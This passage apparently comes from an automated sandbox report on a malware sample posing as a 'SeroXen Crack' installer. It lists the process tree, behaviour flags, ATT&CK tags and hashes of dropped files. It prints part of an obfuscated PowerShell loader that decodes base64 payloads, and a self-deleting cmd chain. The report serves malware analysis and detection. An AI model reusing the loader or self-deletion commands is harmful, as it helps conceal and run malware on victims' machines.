}}$CjuJm=[string[]]$fJBxd.Split('\');$hxBpb=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[0])));$OyvxC=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[1])));fELFD $OyvxC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));fELFD $hxBpb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Deletes itself
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{7ba0416d-9406-4d78-9fe4-0fa88eb8bfdd}4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2508
-
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{5831cc0e-45a9-4830-bbb2-255b0d968060}4⤵PID:5568
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe" & exit4⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:5976 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
PID:5156
-
-
C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4780
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe"5⤵
- Kills process with taskkill
PID:1084
-
-
C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe"5⤵
- Views/modifies file attributes
PID:3872
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3660
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3852
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:4052
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3536
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:2280
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:5260
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5656
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4652
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5872
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1148
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5252
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2372
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3908
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5040
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:5168
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1640
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1324
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:2872
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1312
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Modifies data under HKEY_USERS
PID:5060 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5428 -ip 54282⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- System Location Discovery: System Language Discovery
PID:1968
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 644 -p 4932 -ip 49322⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5636
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 680 -p 5100 -ip 51002⤵PID:2100
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Hide Artifacts
2Hidden Files and Directories
1Hidden Window
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER58D9.tmp.csv
- Size 39KB
- SHA256 9e889a204a86f20947f5c493c1f5de668966dbcfed2ebd378d1f441a9d6cd3d2
- MD5 955435a6416c52452846e891b705c47d
- SHA1 dbbf7b450888519757a72640e1aaacefbc9bce9e
- SHA512 10d9ce85b2b91efb27e7c68f69c5aea979c78987779f982933c2b9ea9b84d730ccb5a8a99ca3787f7b8b1f583482784c5a3d9379ae1feabbc0b750a3c7167d4b
- SSDEEP 768:LJHbvR6HJCx+OBFD5NYOdHnJI3SHoV5ysXD:LJHbvR6HsvBFVaOdHnJI0oTyY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER58F9.tmp.txt
- Size 13KB
- SHA256 de13cc9ccb518cc813f0fa18bf1b722cecf3f781d801c63e51b5423b257d075b
- MD5 58d346096d2e499ae1e8a0b86085b32b
- SHA1 de7abff1ead551fa1d316edcacdcea459a481496
- SHA512 8a7ef397fd5203d20ccd205db67abb644f99b7d911f8685f2ac273d00744aee53fc3eb7b7d714642dab328ed096190615adab766cfe74a6688971390a9868478
- SSDEEP 96:4iefyDUu1V7YSYzWR5HYYEZ25tEiYFZ5TwdUTxUaMnkMeaUILiRIhE3:NefSFd1UeaMnkMDUUhE3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ozf3t2sn.evy.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\$sxr-cmd.exe
- Size 283KB
- SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
- MD5 8a2122e8162dbef04694b9c3e0b6cdee
- SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
- SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
- SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\$sxr-mshta.exe
- Size 14KB
- SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
- MD5 0b4340ed812dc82ce636c00fa5c9bef2
- SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
- SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
- SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
- MD5 SHA1 SHA512 SSDEEP